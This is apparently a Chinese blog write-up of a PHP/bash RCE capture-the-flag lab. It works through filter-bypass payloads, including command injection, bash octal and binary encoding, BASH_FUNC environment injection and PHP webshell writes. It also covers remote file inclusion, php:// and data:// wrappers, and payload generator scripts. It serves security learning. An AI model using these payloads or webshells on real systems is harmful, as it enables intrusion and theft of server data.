0%

探姬rce-labs:一把过

level 0

牛牛牛,正式开始

「任意代码执行(Arbitrary Code Execution,ACE)」 是指攻击者在目标计算机或目标进程中运行攻击者选择的任何命令或代码的能力,这是一个广泛的概念,它涵盖了任何类型的代码运行过程,不仅包括系统层面的脚本或程序,也包括应用程序内部的函数或方法调用。
在此基础上我们将通过网络触发任意代码执行的能力通常称为 远程代码执行 「远程代码执行(RCE,Remote Code Execution,RCE)」。
「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的shell_exec()函数或Python中的os.system()函数。
「代码执行(Code Execution)」 同我们最开始说到的任意代码执行,在语言中可以体现为一些函数或者方法调用,如PHP中的eval()函数或Python中的exec()函数。
虽然在很多教学场景,命令执行 和 代码执行 经常被用同一个缩写 RCE (Remote Code/Command Execution) 来指代,但显而易见的是,代码执行是更为广泛的概念。

leve 1

这题也很简单,讲了一个关键的前置知识,也是我之前经常忘记的

在某个语言中,通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为,如PHP中的eval()函数或Python中的exec()函数。
当漏洞入口点可以执行任意代码时,我们称其为代码执行漏洞 —— 这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况,比如 eval(“system(‘cat /etc/passwd’)”; ); 也被归为代码执行漏洞。
我们平时最常见的一句话木马就用的 eval() 函数,如下所示(一般情况下,为了接收更长的Payload,我们一般对可控参数使用POST传参)

  • eval就是执行括号内php语句的函数
  • 直接传system()就可以了

level 2


level 3

牛牛启动

「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的shell_exec()函数或Python中的os.system()函数。
当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 “一句话木马”:system($_POST[‘a’]);

level 4

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo “Directory not found”
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo “This will run immediately.”;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo “Hello” ; echo “World”
没绷住,也是直接秒了,很简单,就是我之前做的那么多次的,很常规payload:?8.8.8.8;cat /flag


level 5

上来就没绷住,就是简单的绕过方式(放现在,到处都是无参rce,哪里还给你这种机会)
在Shell中,单/双引号 “/‘ 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo “$”a 会输出 $a,而 echo $a 会输出变量a的值,当只有””则表示空字符串,Shell会忽略它。

  • (星号): 匹配零个或多个字符。例子: .txt。
  • ?(问号): 匹配单个字符。例子: file?.txt。**
  • [](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
  • [^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
  • {}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
  • 通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:
  • system(“c’’at /e’t’c/pass?d”);
  • system(“/???/?at /e’t’c/pass?d”);
  • system(“/???/?at /e’t’c/ss“);
    构造cat “f”lag直接绕过
    但是这里的通配符后续大有用处

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html在离别歌神的这个文章中有所体现


level 6

也是第五题的延续考察吧
alt text
alt text
alt text
这题很奇怪,为什么cat不行,而得用/bin/cat呢

level 7

这题见到的太多了,常规的空格绕过,以及关键字绕过(用通配符*)

1
?cmd=cat$IFS/fl*

直接过了,基础主要还是%09和$IFS来绕过空格
这里还有一些方法,简单举几个例子

  • 重定向
1
?cmd=cat</fl""ag
  • {}只在bash里有用
1
{cat,/f'l'ag}
  • 进制
1
X=$'cat\x20/flag'&&$X

这里再拓展一点吧,要是waf过滤了/该怎么做

1
2
3
4
${HOME:0:1}来替代"/"
cat /flag ---->>> cat ${HOME:0:1}flag
$(echo . | tr '!-0' '"-1') 来替代"/"
cat $(echo . | tr '!-0' '"-1')flag

level 8

这里开始用重定向了
这个没见过,我认为是一种无回显rce,大概给大家看一下题

1
2
3
4
5
6
7
8
/*
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。
如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null
/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1
*/

这个是对于重定向内容的描述,简单来说就是会把你传的命令都定向道一个/dev/null目录,然后你就什么回显都看不到,后续连你报错都可以忽略

1
2
3
4
5
6
function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);

这里就需要去了解一些常见方法了

  1. 分号的使用
1
cmd=ls;

由于分号可以让 ls 在 >/dev/null 2>&1 之前执行,因此我们可以直接这么强打,得到命令执行的结果
2. tee函数的使用

1
?cmd=ls | tee output.txt

tee函数的作用在于:tee 命令可以复制输出,使得 ls 的结果仍然可以看到
后续访问output.txt来看执行的结果了
3. 逆向重定向

1
?cmd=ls 2>&1 | cat

接下来补充一点相关知识
在Linux中文件描述符(File Descriptor)是用于标识和访问打开文件或输入/输出设备的整数值,每个打开的文件或设备都会被分配一个唯一的文件描述符,Linux 中的文件描述符使用非负整数值来表示其中特定的文件描述符有以下含义

  • 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
  • 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
  • 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出
    alt text

level 9

八进制转换,这个是bash的一种特性(注意,只有bash有)

1
2
3
4
5
caochuhan@DESKTOP-B9Q8MAA:/mnt$ $'\154\163'
c d e f g wsl wslg
caochuhan@DESKTOP-B9Q8MAA:/mnt$ cd wsl
caochuhan@DESKTOP-B9Q8MAA:/mnt/wsl$ $'\154\163'
resolv.conf

在Linux中试了一下,确实是这样,BUT
这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来
意思就是遍一下cat,再编一些/flag,最后再用空格连接起来,而不能合在一起一同转进制,这样子的指令是行不通的
例如

1
2
3
4
5
bash-5.1# $'\143\141\164\40\57\146\154\141\147'
bash: cat /flag: No such file or directory

bash-5.1# $'\143\141\164' $'\57\146\154\141\147'
flag{TEST_Dynamic_FLAG}

这样子就出flag了,需要注意的是不能用空格连接后一起转,而是要分开转之后用空格连接
空格要是被过滤的话,就可以用

1
?cmd=$'\143\141\164'<$'\57\146\154\141\147'

探姬给出的注释如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/

bash与dash不同
关于进制转换的脚本在线
https://probiusofficial.github.io/bashFuck/

level 10

主要还是讲bash中的二进制解析
这里是bash的另外一个特性
在bash中,支持二进制的表示整数的形式:$((2#binary))
这里的原理繁多,我看的不太懂,但是有一处看懂了,那就是可以直接用bashFuck的Charset (9) : # $ ‘ ( ) 0 1 < \模式来生成我们需要的payload
然后我就去生成了(二进制不像level 9,不用把cat和flag分开生成),打打打,发现传进去没什么动静?
看了眼wp,哦哦,忘记url编码了
全编码之后传payload,可以了
这里我看了眼正则,也算是解决了我之前的一个困惑
这里正则过滤%
但是不妨碍我们url编码后传payload

1
2
当你把这些“危险”字符用 URL 编码(百分号加两位十六进制)提交时,PHP 会先对它们做一次解码,才把结果放到 $_GET/$_POST 里给你的代码。
也就是说,正则里看到的,永远是解码之后的字符,而不是你在浏览器地址栏里敲的 %2F、%3B 之类。

这里用不了八进制是因为过滤了除了1以外的所有数字


level 11

这题就是在level 10的基础上,把数字1过滤了,所以我们连二进制都无法使用
但这又何妨,照样有绕过1的方法

1
2
3
4
5
6
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

观察正则,很容易就发现过滤了全部的数字与字母
跟Litctf的那个usb鼠标流量一样,先弄清楚原理,再用bashFuck来快速生成payload

$ 基于bash扩展运算的优先级,第一个#是功能作用第二个#作为变量名称 - 0作为字符串长度为1.

1
2
bash-5.1# echo ${##}
1

类似的进行ls命令,在二进制的payload的转换

1
2
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\'

直接打即可,这里发现一个小特性,之前都没注意到,url全编码后的payload post上去也可以被解析


level 12

怎么没找到这题?Nss上没有可还行
那看一下wp吧
其实就是在level 11的基础上又把0过滤了

间接扩展特性——${!xxx},它表示用xxx的值作为另一个变量的名字,然后取出那个变量的值

1
2
3
4
如果a=0,b=1,c=2,那么 ${!a} 就相当于 $0${!b} 就相当于 $1${!c} 就相当于 $2 
bash-5.1# a=0
bash-5.1# echo ${!a}
bash

但是这在PHP中并没有实现,看起来是因为sh的原因,但可以直接在bash中使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sh-5.1# echo $0
sh
sh-5.1# echo $#
0
sh-5.1# echo ${##}
1
sh-5.1# echo ${!#}

sh-5.1# echo ${!#} | base64
Cg==
sh-5.1# echo $?
0
sh-5.1# echo ${!?}
sh: !: parameter not set

最后还是用bashFuck一把梭了(哭)


level 13

1
2
3
4
5
6
function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

观察正则
奇怪,这里没有过滤#,那为什么我用#的payload行不通,而得用取反
未解之谜


level 14

1
2
3
4
5
6
7
8
9
10
if(strlen($_GET[1]<8)){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}

highlight_file(__FILE__);
?>

开始限制payload长度了?
直接打
?1=cat /f*
刚刚好7个字符


level 15

出现沙箱?

1
2
3
4
5
6
7
8
9
10
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

exec函数一看到就知道是无回显,这个时候最好就是弹shell
但是我居然没有自己的vps?
所以只好先用用其他的方法,然后再补上弹shell的方法

时隔多日,我这段时间里买了属于自己的vps(感谢DK盾,99一年真的很棒),但是这题因为多种原因,一直都弹不了shell,因此作罢

感谢这段时间里VN的lamentXU师傅,SU的_sun_师傅,还有探姬姐姐帮助
这段时间的深究对我帮助很大,我现在五字符和四字符rce基本上都可以直接背出来了(😂)

level 16

也是一样弹shell,不知道为什么行不通,似乎是弹不了
OK啊太有强度了

https://www.bilibili.com/video/BV1tG4y1c7Vb?spm_id_from=333.788.videopod.episodes&vd_source=a71b7cc8978223fdf3236864e3621473&p=15
推个橘子科技的五字符四字符rce的课程,很棒的课哇

level 17

这题很简单,主要就是让我们认识一些系统函数(其实这些我都会,主要还是想系统的过一遍,让知识成体系,我感觉不成体系的学习是相当徒劳的)

函数 说明 示例代码
system() system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。 php<br>system('cat /etc/passwd');
exec() exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。 php<br>exec('cat /etc/passwd', $result);<br>print_r($result);
shell_exec() shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。 php<br>echo shell_exec('cat /etc/passwd');
passthru() passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。 php<br>passthru('cat /etc/passwd');
popen() popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。 php<br>$result = popen('cat /etc/passwd', 'r');<br>echo fread($result, 100);
反引号 `…` 反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。
注意:关闭了 shell_exec() 时反引号运算符是无效的。
php<br>echo `cat /etc/passwd`;

以上便是重点

level 18

本题考点是环境变量注入

1
2
3
4
5
6
7
8
9
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

没见过,不知道
看看p神的博客

https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html#0x01-ld_preload

dash的研究过程中似乎没有什么特别的发现,均与参数-c无关,无法注入
在bash的研究过程中,又有新的问题

先自己来审计一遍

1
2
foreach 函数,将数组里的每一对键值对拿出来
putenv 函数,相当于在php进程环境中执行export KEY=VAL

然后就是用bash函数的导入机制这个trick
通过putenv写入了特殊环境变量,子shell在启动时会自动的反序列化他们

那么接下来我们需要解决的问题就是这个特殊的环境变量我们要怎么写入
bash<4.4时,环境变量名必须是

1
BASH_FUNC_函数名()

bash>=4.4时,环境变量名为

1
BASH_FUNC_函数名%%

bash>=4.4的情况在p神的博客中也有详细的说明
然后后面跟着(){},这四个字符是必须存在的,花括号内写入函数体,()内写入id(一般情况下不写)
因此例如

1
BASH_FUNC_echo%%=() { cat /flag; }可以写入环境变量

那既然如此,题目让我们用envs写入一个键值对,然后再用putenv来对当前进程设置环境变量
由环境变量的格式可知,这里envs担任了写入新的环境变量的责任,因此就直接当作在bash源码中env的作用
那么在web端注入时,就有
payload

1
envs[BASH_FUNC_echo%%]=() { cat /flag; }

格式说明:为什么要这么写
因为有foreach函数,envs的键值对得用数组的方式来写入,最好的方法就是如上的payload
因此环境变量名是作为数组名(键值对的key)来写入,后面的putenv调用key的时候也会把数组名当成正常的环境变量名来就行调用操作,后面的value就不用多说,键值对的值,在后续起到执行的作用,其实就等同于

1
2
3
function echo {
cat /flag
}

在echo中自定义写入cat /flag了

最后的最后:id问题
关于 id 在 Payload 中的角色
在最初的示例中,我们使用了下面的命令来验证 Bash 函数劫持是否生效:

1
env $'BASH_FUNC_echo%%=() { id; }' bash -c "echo hello"

目的:用 id 命令输出当前用户和组信息,证明 echo 确实被覆盖执行了另一个命令。
验证效果:本应输出 hello,却输出了类似 uid=1000(user) gid=1000(user) groups=… 的信息。

因此在攻击时我们是需要读到敏感的/flag目录下的内容,而不是uid等验证手段的内容,因此在实际注入时不用写id

Level 19

这题也是很基础很基础了,这里还是再告诫自己一下,再基础也要有体系的走一遍

很简单,就是文件写入函数的简单应用

函数 说明 示例代码
file_put_contents 将字符串写入文件,如果文件不存在会尝试创建。适用于快速简单地写入数据到文件。 php\nfile_put_contents('example.php', '<?php eval($_GET[helloctf]); ?>');\n
fwrite/fputs 向一个打开的文件流写入数据,适用于需要更细粒度的控制文件操作的场景。 php\n$fp = fopen('example.php', 'w');\nfwrite($fp, '<?php eval($_GET[helloctf]); ?>');\nfclose($fp);\n
fprintf 类似于 fwrite,但提供格式化功能,允许按指定格式写入数据到文件流。适用于需要格式化写入的场景。 php\n$fp = fopen('example.php', 'w');\nfprintf($fp, '<?php eval($_GET[helloctf]); ?>');\nfclose($fp);\n

这题思想也很简单,c参数已经是被当作file_put_contents的参数进行调用了,那么按照该函数的参数格式写入即可
payload

1
2
'shell.php', '<?php eval($_GET['a']); ?>'
UrlEncode:'shell.php',%20'%3C?php%20eval($_GET%5B'a'%5D);%20?%3E'

写好了之后直接连蚁剑,得到flag,或者说你乐意post传个系统命令也是可以的,但是要注意的是,蚁剑肯定是最优选择
alt text
这里注意在传系统命令的时候一定要加上;否则会报错(我总是忘记加这个)

另外一种方法
直接把调用的原函数的参数封闭起来,然后隔断语句直接执行后面的语句参数
payload

1
c='','');echo(`cat /flag`);//

c那两个参数被糊弄掉了,后面追加了任意的php代码,注意//一定要加上

level 20

这个就很简单,直接传就行,配置文件,m头检测什么的都没有

level 21

本地文件包含+远程文件包含+php伪协议,很有意思哈哈哈

  • LFI
    直接读取/flag,传参c=”/flag”,hackbar直接打就可以了
  • 远程文件包含
    前提
1
2
allow_url_fopen = On
allow_url_include = On

然后才能打
RFI原理也十分简单

通过传参指定远程URL文件,服务器会下载并包含该文件
该文件被执行触发eval函数,进而执行代码,实现rce
这里探姬给了exp

1
2
3
远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

然后直接带着这个链接打
payload

1
c="https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI"&a=readfile("/flag")

我擦,失败了,似乎是这个链接有什么问题,那换一个打

1
c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=readfile('/flag');

照着poc打,成功了
然后我发现我的payload也是可以的,只是少加了;
可恶,我怎么总是忘记

  • php伪协议
    老生常谈了,有点好笑
  1. php://filter
    祖传payload
1
c='php://filter/convert.base64-encode/resource=/flag'

过滤器什么的不多赘述
2. php://input
这个有一点要注意,这个用hackbar传参是不行的,只能启动burpsuit

1
c="php://input"&<?php system('tac /flag'); ?>

关于payload的解释

php://input 是 PHP 提供的一个「流包装器」(stream wrapper),它允许脚本读取原始的 POST 数据(即 HTTP 请求体) —— 简单理解就是“把你 POST 过来的数据当作文件来读取”
在许多存在本地文件包含(LFI)漏洞的脚本中,如果代码做了类似 include($_GET[‘c’]); 或者 require($_GET[‘c’]);,就可以利用 php://input 来把请求体当成 PHP 代码包含并执行。
所以在post的内容后用&跟上要执行的php代码,这样子就可以实现包含并且执行
3. data://text/plain
payload

1
c="data://text/plain,<?php readfile('/flag');"

就当回顾知识点了,再说一遍原理吧

data:// 允许你直接在 URL 中嵌入数据内容,格式大致是:data://<MIME 类型>[;base64],<实际数据>
在这里,data://text/plain,<?php readfile(‘/flag’); 表示:使用 MIME 类型 text/plain(虽然它是纯文本,但包含了 PHP 代码片段)。数据部分是 <?php readfile(‘/flag’);,即一段 PHP 代码。
为什么能执行?
如果应用将这个 URL 字符串传给如 include()、require()、file_get_contents() 甚至某些自定义文件解析函数,PHP 会把它当作一个流来读取。
在 include(‘data://…’) 的场景下,PHP 会首先读取流内容(即 <?php readfile(‘/flag’);),然后将其当作 PHP 脚本执行。执行后就相当于在本地写了一个临时脚本

level 22

动态调用?
我以为让我挖pop链呢

1
2
isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;
highlight_file(__FILE__);

简单代码审计
a作为函数,b作为函数参数,就这么简单?
然后payload直接打就可以了?

1
?a=system&b=cat /flag

level 23

自增,这个也很简单,原理也很简单,就不多说
审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php 
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 自增 ---

可用字符:! $ ' ( ) + , . / ; = [ ] _

自增通过一下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。

数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。

字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"

自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。

所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);
&__=system
&_=ls

自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}

?>
Your Payload's Length : 0

打祖传payload,记得要url编码(因为中间件会进行一次解码,所以我们这里需要手动编码一次)
直接出flag
探姬姐姐给的祖传payload

1
2
3
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]); 
&__=system
&_=ls
1
code=%24_%3d(_%2f_._)%5b%27%27%3d%3d%27_%27%5d%3b%24_%2b%2b%3b%24__+%3d+%24_%2b%2b%3b%24__+%3d+%24_.%24__%3b%24_%2b%2b%3b%24_%2b%2b%3b%24_%2b%2b%3b%24__+%3d+%24__.%24_%2b%2b.%24_%2b%2b%3b%24_+%3d+%24__%3b%24__+%3d%27_%27%3b%24__.%3d%24_%3b%24%24__%5b__%5d(%24%24__%5b_%5d)%3b&__=system&_=cat /flag

根据自己的需要进行更改即可
注意!我这里hackbar打不通,可能是工具的问题,我用到firefox,但是我用bp打一下就通了,一定要注意

level 24

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

典中典过滤串
preg_replace匹配模式,这里正则表达式用了一个+号,进行贪心匹配,进行最大数量的匹配
现在假设我打了一个payload,都是由嵌套的函数构成的

a(b(c(d())));
这样子一打,然后preg_replace对这个串进行多次匹配替换,逐步变成
a(b(c()));
a(b());
a();
;
这样子就说明get传的参数是过关的,可以进入if被eval执行

相反,像a(b(‘111’));这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。那假如遇到这种情况,我们就只能使用没有参数的php函数,

这里的复现方法多种多样,有兴趣的可以看这个博客

https://www.cnblogs.com/pursue-security/p/15406272.html#_label1
对于本题,我们直接构造嵌套函数读取文件即可

  • localeconv()
    返回当前目录
  • current()
    用于返回当前函数的值,例如:current(localeconv())就可以把当前目录返回
    注意的是要是需要移动的话需要动用
  1. next()下一个
  2. end()最后一个
  3. prev()上一个
  4. reset()将内部指针指向数组的第一个元素并且输出
  5. each()返回当前元素的键值对并且内部指针向前移动
  • array_reverse()
    将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()
  • highlight_file()
    打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的
  • scandir
    这个函数很好理解,就是列出目录中的文件和目录
    打个payload
1
var_dump(scandir(current(localeconv())))

出现了这个

1
array(6) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(12) "get_flag.php" [4]=> string(9) "index.php" [5]=> string(7) "uploads" }

flag.php在第三个,那很好办了

1
highlight_file(next(next(scandir(current(localeconv())))));

发现打不通?直接debug

1
highlight_file(prev(prev(scandir(current(localeconv())))));

我擦还是有问题阿
看看报错

1
2
3
4
5
Warning: prev() expects parameter 1 to be array, bool given in /var/www/html/index.php(42) : eval()'d code on line 1

Warning: highlight_file(): Filename cannot be empty in /var/www/html/index.php(42) : eval()'d code on line 1

Warning: highlight_file(): Failed opening '' for highlighting in /var/www/html/index.php(42) : eval()'d code on line 1

一步一步来
先打

1
code=print_r(current(localeconv()));

当前目录是.
我再打打看

1
show_source(next(scandir(current(localeconv()))));

还是报错说我传给eval的是空内容,可恶
而且,我两个next连着用会报错,因为外面的next会因为里面的next解析的内容不符合格式而报错,我再问问AI看看能怎么改
AI说单单打payload的话打不了,我查了next的用法,也符合AI的描述
那只能另辟蹊径了
官方payload

1
show_source(array_rand(array_flip(scandir(current(localeconv())))));

用highlight_file也行,用print_r的话会输出目录的名字
解释

1
2
3
array_flip确保 array_rand() 返回文件名(键),而不是索引(值)。
array_rand:避免直接索引(如 scandir()[2]),随机选择文件名(键)。
颠倒键与值后,随机读取键(文件名)

然后多刷新几次就可以了

那你随机刷新出东西,那自然是比直接定向要方便许多,因为这样子你就可以尝试不同可能,而不是被多个next如何确定到根目录而束缚

1
code=show_source(next(array_reverse(scandir(current(localeconv())))));

后面确定,我的payload确实是可以读到东西的,但是就是因为无法直接定向到目标目录,所以报错,因此破案了以后要是遇到这种正向一个目录范围内读不到(反向用array_reverse())的,就直接用随机刷新好了

除此之外,还有无参请求头绕过,以及其他的各种姿势,这里就不多说,要是你们有兴趣的话自己静下心查一查总有方法,也很好理解

level 25

老伙计取反吗,有点意思,祖传脚本直接打

1
2
3
4
5
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flag');
?>

payload

1
code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

直接出flag
题目给了一个在线脚本网址

https://probiusofficial.github.io/PHP-inversion/
遇到自反+无参,可以直接用这个打
要是只有自反的话建议还是祖传脚本梭哈
这里我实验过,这个在线网站system(“cat /flag”)转换的自反payload打不了一点阿,似乎是只适用于无参+自反

level 26

老三样
异或,取反,自增自减
取反,自增自减就不多说
异或脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//异或脚本
<?php
function encodeNegate($str) {
$result = [];
foreach (str_split($str) as $char) {
$result[] = '%' . sprintf("%02x", (~ord($char)) & 0xff);
}
return '"' . implode('', $result) . '"';
}

// 自定义函数和命令
$func = 'system'; // 修改为需要的函数,如 include, file_get_contents
$cmd = 'cat /flag'; // 修改为需要的命令,如 ls, cat flag.php

$payload = "\$_=~" . encodeNegate($func) . ";\$__=~" . encodeNegate($cmd) . ";\$_(\$__);";
echo $payload . "\n";
?>
#$_=~"%8c%86%8c%8b%9a%92";$__=~"%9c%9e%8b%df%d0%99%93%9e%98";$_($__);

直接bp打即可,没什么难点

level 27

模板注入导致的rce?那这是jinja还是flask?打ssti?
打开题
Smarty模板注入啊
之前打某年CISCN华东南赛区web11做过,印象中不难
刚好在这里也好好的总结一次

  1. 某个web11
    这个我记得是在xff中存在smarty模板注入,直接经典的49验证一手,发现出了,那就盲猜两端是执行php代码块的标签{php}{/php},然后直接{system(‘cat /flag’)}
    就打出来了
  2. 这题
1
2
3
4
5
6
7
8
9
10
require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();

if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
$file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
$smarty->display($file_path);
} else {
header('Location: /?page=home');
};

管他的,先代审,我可是看p牛的代审课长大的

  • 先实例化了smarty模板
  • 强比较传入的page
  • getcwd() 返回当前工作目录(通常就是项目根目录)
  • 进行了路径的拼接,拼接成类似file:///var/www/html/pages/home这样带有file://协议前缀的路径
